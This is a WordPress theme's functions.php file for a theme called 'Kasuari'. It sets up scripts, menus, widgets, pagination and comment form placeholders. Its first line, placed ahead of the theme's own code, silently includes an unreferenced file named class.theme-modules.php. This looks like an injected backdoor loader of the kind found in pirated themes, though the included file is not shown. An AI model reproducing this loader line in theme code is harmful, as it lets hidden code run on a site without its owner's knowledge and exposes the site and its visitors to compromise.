<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
if (!function_exists('kasuari_header_part')) {
function kasuari_header_part($template, $name = null){
get_template_part( 'template/' . $template, $name);
}
}
if (!function_exists('kasuari_footer_part')) {
function kasuari_footer_part($template, $name = null){
get_template_part( 'template/' . $template, $name);
}
}
//Set the content width based on the theme's design and stylesheet.
if ( ! isset( $content_width ) )
$content_width = 1200; /* pixels */
/*-----------------------------------------------------------------------------------*/
/* SETUP THEME
/*-----------------------------------------------------------------------------------*/
if ( ! function_exists( 'kasuari_setup' ) ) :
function kasuari_setup() {
// several theme support
add_theme_support( 'automatic-feed-links' );
if ( class_exists( 'acf' ) ) {
add_theme_support( 'post-formats', array( 'gallery', 'video') );
}
add_theme_support( 'custom-background' );
$kasuari_def_bg = array(
'default-color' => '#fafafa',
);
add_theme_support( 'custom-background', $kasuari_def_bg );
add_theme_support( 'post-thumbnails' );
add_theme_support( 'html5', array( 'comment-list', 'comment-form', 'search-form' ) );
add_theme_support( 'html5', array( 'gallery', 'caption' ) );
load_theme_textdomain( 'kasuari', get_template_directory() .'/languages' );
add_theme_support( "title-tag" );
}
endif;
add_action( 'after_setup_theme', 'kasuari_setup' );
function kasuari_thumbnail_setup() {
add_image_size( 'kasuari-related', 100, 80, true );
}
add_action('after_setup_theme', 'kasuari_thumbnail_setup');
/*-----------------------------------------------------------------------------------*/
/* ACF
/*-----------------------------------------------------------------------------------*/
add_filter('acf/settings/show_admin', '__return_false');
/*-----------------------------------------------------------------------------------*/
/* SCRIPTS & STYLES
/*-----------------------------------------------------------------------------------*/
function kasuari_scripts() {
//All necessary CSS
$options = get_option('kasuari_framework');
wp_enqueue_style( 'kasuari-plugin', get_template_directory_uri() .'/css/plugin.css', array(), null );
wp_enqueue_style( 'kasuari-style', get_stylesheet_uri(), array( 'kasuari-plugin' ) );
wp_enqueue_style( 'kasuari-font', get_template_directory_uri() .'/css/font.css', array(), null );
wp_enqueue_style( 'kasuari-responsive', get_template_directory_uri() .'/css/responsive.css', array(), null );
//All Necessary Script
wp_enqueue_script( 'modernizr', get_template_directory_uri(). '/js/modernizr.js', array( 'jquery' ), '', false );
wp_enqueue_script( 'respond', get_template_directory_uri(). '/js/respond.js', array( 'jquery' ), '', false );
wp_enqueue_script( 'retinajs', get_template_directory_uri(). '/js/retina.min.js', array( 'jquery' ), '', false );
wp_enqueue_script( 'fitvids', get_template_directory_uri(). '/js/fitvids.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'classie', get_template_directory_uri(). '/js/classie.js', array( 'jquery' ), '', false );
wp_enqueue_script( 'wow', get_template_directory_uri(). '/js/wow.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'easing', get_template_directory_uri(). '/js/easing.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'smartmenus', get_template_directory_uri(). '/js/smartmenus.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'owlcarousel', get_template_directory_uri(). '/js/owlcarousel.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'infinitescroll', get_template_directory_uri(). '/js/infinitescroll.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'isotope', get_template_directory_uri(). '/js/isotope.js', array( 'jquery', 'imagesloaded' ), '', $in_footer = true );
wp_enqueue_script( 'headroom', get_template_directory_uri(). '/js/headroom.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'animeonscroll', get_template_directory_uri(). '/js/animeonscroll.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'bootstrap', get_template_directory_uri(). '/js/bootstrap.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'lightgallery', get_template_directory_uri(). '/js/lightgallery.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'smoothscroll', get_template_directory_uri(). '/js/smoothscroll.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'stickykit', get_template_directory_uri(). '/js/stickykit.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'thumbsplugin', get_template_directory_uri(). '/js/thumbsplugin.js', array( 'jquery' ), '', $in_footer = true );
wp_enqueue_script( 'kasuari-main', get_template_directory_uri(). '/js/main.js', array( 'jquery' ), '', true );
if ( class_exists( 'Redux' ) ) {
$options = get_option('kasuari_framework');
$search_bar_style = $options['search_bar_style'];
$kasuari_footer_style_type = $options['footer_style_type'];
$kasuari_right = $options['header_customize_right']['enabled'];
$kasuari_center = $options['header_customize_center']['enabled'];
$kasuari_left = $options['header_customize_left']['enabled'];
if($search_bar_style == 'expand') {
if($kasuari_right || $kasuari_center || $kasuari_left ) {
if( isset($kasuari_right['kasuari-search']) || isset($kasuari_center['kasuari-search']) || isset($kasuari_left['kasuari-search']) ) {
wp_enqueue_script( 'kasuari-header1', get_template_directory_uri(). '/js/header1.js', array( 'jquery' ), '', true );
}
}
}
/*footer*/
if( $kasuari_footer_style_type == 'fixed-footer' ) {
wp_enqueue_script( 'kasuari-footer-fixed', get_template_directory_uri(). '/js/footer-fixed.js', array( 'jquery' ), '', true );
}
}
else {
wp_enqueue_script( 'kasuari-header1', get_template_directory_uri(). '/js/header1.js', array( 'jquery' ), '', true );
}
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'kasuari_scripts' );
/* customizer scripts */
function kasuari_customizer_live_preview() {
wp_enqueue_script( 'kasuari-color-customizer', get_template_directory_uri().'/js/color-customizer.js', array( 'jquery','customize-preview' ), NULL, true);
}
add_action( 'customize_preview_init', 'kasuari_customizer_live_preview' );
/* admin style on admin dashboard */
function kasuari_admin_style() {
wp_enqueue_style('kasuari-admin-styles', get_template_directory_uri() .'/css/admin.css');
wp_enqueue_style('kasuari-admin-redux-styles', get_template_directory_uri() .'/css/kasuari-redux.css');
}
add_action('admin_enqueue_scripts', 'kasuari_admin_style');
/* admin style on elementor editor */
if(is_user_logged_in()){
add_action( 'elementor/frontend/after_register_styles', function() {
wp_enqueue_style('admin-styles2', get_template_directory_uri() .'/css/admin.css');
} );
}
add_action( 'elementor/editor/before_enqueue_scripts', function() {
wp_enqueue_style('admin-styles1', get_template_directory_uri() .'/css/admin.css');
} );
/*-----------------------------------------------------------------------------------*/
/* CALL FRAMEWORK
/*-----------------------------------------------------------------------------------*/
require_once( get_template_directory() . '/inc/option/panel/config.php' );
/*-----------------------------------------------------------------------------------*/
/* MENU
/*-----------------------------------------------------------------------------------*/
//Register Menus
add_action( 'after_setup_theme', 'kasuari_register_my_menu' );
function kasuari_register_my_menu() {
register_nav_menu( 'header-menu', esc_html__( 'Header Menu (Right/Primary)', 'kasuari' ) );
if ( class_exists( 'Redux' ) ) {
register_nav_menu( 'header-menu-sec', esc_html__( 'Header Menu (Left)', 'kasuari' ) );
register_nav_menu( 'footer-menu', esc_html__( 'Footer Menu', 'kasuari' ) );
}
}
//MAIN MENU
function kasuari_main_nav_menu(){
if ( class_exists( 'Redux' ) ) {
$options = get_option('kasuari_framework');
$menus_choose_style = $options['menus_choose_style'];
if($menus_choose_style == 'style-1') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--ferdinand',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-2') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--prospero',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-3') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--viola',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-4') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--antonio',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-5') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--miranda',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-6') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--ariel',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-7') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--caliban',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-8') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--iris',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-9') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--stephano',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-10') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--ceres',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-11') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--juno',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-12') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--maria',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-13') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--valentine',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
elseif($menus_choose_style == 'style-14') {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--sebastian',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
else{
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
}
else {
wp_nav_menu( array(
'theme_location' => 'header-menu',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--ferdinand',
'fallback_cb' => 'kasuari_header_menu_cb'
));
}
}
//SECONDARY MENU
if ( class_exists( 'Redux' ) ) {
function kasuari_main_nav_menu_left(){
$options = get_option('kasuari_framework');
$menus_choose_style = $options['menus_choose_style'];
if($menus_choose_style == 'style-1') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--ferdinand',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-2') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--prospero',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-3') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--viola',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-4') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--antonio',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-5') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--miranda',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-6') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--ariel',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-7') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--caliban',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-8') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--iris',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-9') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--stephano',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-10') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--ceres',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-11') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--juno',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-12') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--maria',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-13') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--valentine',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
elseif($menus_choose_style == 'style-14') {
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean menu--sebastian',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
else{
wp_nav_menu( array(
'theme_location' => 'header-menu-sec',
'container' => 'ul',
'menu_class' => 'sm sm-clean',
'fallback_cb' => 'kasuari_header_sec_menu_cb'
));
}
}
}
function kasuari_add_menuclass($ulclass) {
return preg_replace('/<a /', '<a class="menu__link" ', $ulclass);
}
add_filter('wp_nav_menu','kasuari_add_menuclass');
if ( class_exists( 'Redux' ) ) {
// FOOTER MENU
function kasuari_footer_menu(){
wp_nav_menu( array(
'theme_location' => 'footer-menu',
'container' => 'ul',
'menu_class' => 'sm',
'fallback_cb' => 'kasuari_footer_menu_cb'
));
}
}
// FALLBACK IF PRIMARY MENU HAVEN'T SET YET
function kasuari_header_menu_cb() {
echo '<ul id="menu-top-menu" class="menus sm sm-clean menu--ferdinand">';
wp_list_pages('title_li=');
echo '</ul>';
}
add_filter('wp_list_pages', create_function('$t', 'return str_replace("<a ", "<a class=\"menu__link\" ", $t);'));
if ( class_exists( 'Redux' ) ) {
function kasuari_header_menu_sec_cb() {
echo '<ul id="menu-top-menu-sec" class="menus sm sm-clean">';
wp_list_pages('title_li=');
echo '</ul>';
}
function kasuari_footer_menu_cb() {
echo '<ul id="menu-footer-menu" class="menus">';
wp_list_pages('title_li=');
echo '</ul>';
}
}
/*-----------------------------------------------------------------------------------*/
/* WIDGET
/*-----------------------------------------------------------------------------------*/
// SETUP DEFAULT SIDEBAR
function kasuari_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Primary Sidebar', 'kasuari' ),
'id' => 'primary-sidebar',
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h4 class="widget-title"><span>',
'after_title' => '</span></h4>',
) );
}
add_action( 'widgets_init', 'kasuari_widgets_init' );
require_once( get_template_directory() . '/inc/widgets/kasuari-latestpost-widget.php' );
require_once( get_template_directory() . '/inc/widgets/kasuari-latestpost2-widget.php' );
/*-----------------------------------------------------------------------------------*/
/* PAGINATION
/*-----------------------------------------------------------------------------------*/
function kasuari_pagination($pages = '', $range = 2)
{
$showitems = ($range * 2)+1;
global $paged;
if(empty($paged)) $paged = 1;
if($pages == '')
{
global $wp_query;
$pages = $wp_query->max_num_pages;
if(!$pages)
{
$pages = 1;
}
}
if(1 != $pages)
{
echo "<div class='navigation-paging pagination-num'>";
if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>" . esc_html__( 'First', 'kasuari' ) . "</a>";
if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>‹</a>";
for ($i=1; $i <= $pages; $i++)
{
if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems ))
{
echo ($paged == $i)? "<span class='btn current'>".$i."</span>":"<a href='".get_pagenum_link($i)."' class='btn inactive' >".$i."</a>";
}
}
if ($paged < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($paged + 1)."'>›</a>";
if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>" . esc_html__( 'Last', 'kasuari' ) . "</a>";
echo "</div>\n";
}
}
/*-----------------------------------------------------------------------------------*/
/* PLACEHOLDER
/*-----------------------------------------------------------------------------------*/
/* Add Placehoder in comment Form Fields (Name, Email, Website) */
add_filter( 'comment_form_default_fields', 'kasuari_comment_placeholders' );
function kasuari_comment_placeholders( $fields )
{
$fields['author'] = str_replace(
'<input',
'<input placeholder="' . esc_html__( 'Your Name', 'kasuari' ) . '"',
$fields['author']
);
$fields['email'] = str_replace(
'<input',
'<input placeholder="' . esc_html__( 'Your Email', 'kasuari' ) . '"',
$fields['email']
);
$fields['url'] = str_replace(
'<input',
'<input placeholder="' . esc_html__( 'Website URL', 'kasuari' ) . '"',
$fields['url']
);
return $fields;
}
/* Add Placehoder in comment Form Field (Comment) */
add_filter( 'comment_form_defaults', 'kasuari_textarea_placeholder' );
function kasuari_textarea_placeholder( $fields )
{
$fields['comment_field'] = str_replace(
'<textarea',
'<textarea placeholder="' . esc_html__( 'Your thoughts..', 'kasuari' ) . '"',
$fields['comment_field']
);
return $fields;
}
/*-----------------------------------------------------------------------------------*/
/* CUSTOM FUNCTIONS
/*-----------------------------------------------------------------------------------*/
require_once( get_template_directory() . '/inc/function/custom.php' );
require_once( get_template_directory() . '/inc/function/navigation.php' );
require_once( get_template_directory() . '/inc/function/aq_resizer.php' );
require_once( get_template_directory() . '/inc/function/comment.php' );
require_once( get_template_directory() . '/inc/function/akmanda-customizer.php' );
require_once( get_template_directory() . '/inc/function/meta-box.php' );
require_once( get_template_directory() . '/inc/function/thefooter.php' );
/* Customizer Inline Style */
require_once( get_template_directory() . '/inc/function/inline-styles.php' );
// INSTALL NECESSARY PLUGINS
require_once( get_template_directory() . '/class-tgm.php' ); /*activate plugin function*/
/* body custom class */
add_filter( 'body_class', 'kasuari_body_custom_class' );
function kasuari_body_custom_class( $classes ) {
if ( class_exists( 'Redux' ) ) {
$classes[] = 'header-style-1';
}
else {
$classes[] = 'header-style-1 no-redux';
}
return $classes;
}
function kasuari_post_custom_class( $classes ) {
global $post;
if ( class_exists( 'Redux' ) ) {
$options = get_option('kasuari_framework');
$kasuari_blog_masonry_column = $options['blog_masonry_column'];
if(is_front_page() && is_home() ) {
$classes[] = 'blog-item masonry-blog column '.$kasuari_blog_masonry_column.'';
}
elseif ( is_front_page() ) {
$classes[] = 'blog-item masonry-blog column '.$kasuari_blog_masonry_column.'';
}
elseif(is_home()) {
$classes[] = 'blog-item masonry-blog column '.$kasuari_blog_masonry_column.'';
}
elseif(is_archive() || is_search()) {
$classes[] = 'blog-item masonry-blog column column-3';
}
elseif(is_page() || is_single( 'post' ) || is_singular( 'post' )) {
$classes[] = '';
}
}
else {
if(!is_singular( array( 'post', 'page' ) )) {
$classes[] = 'blog-item masonry-blog column column-3';
}
}
return $classes;
}
add_filter( 'post_class', 'kasuari_post_custom_class' );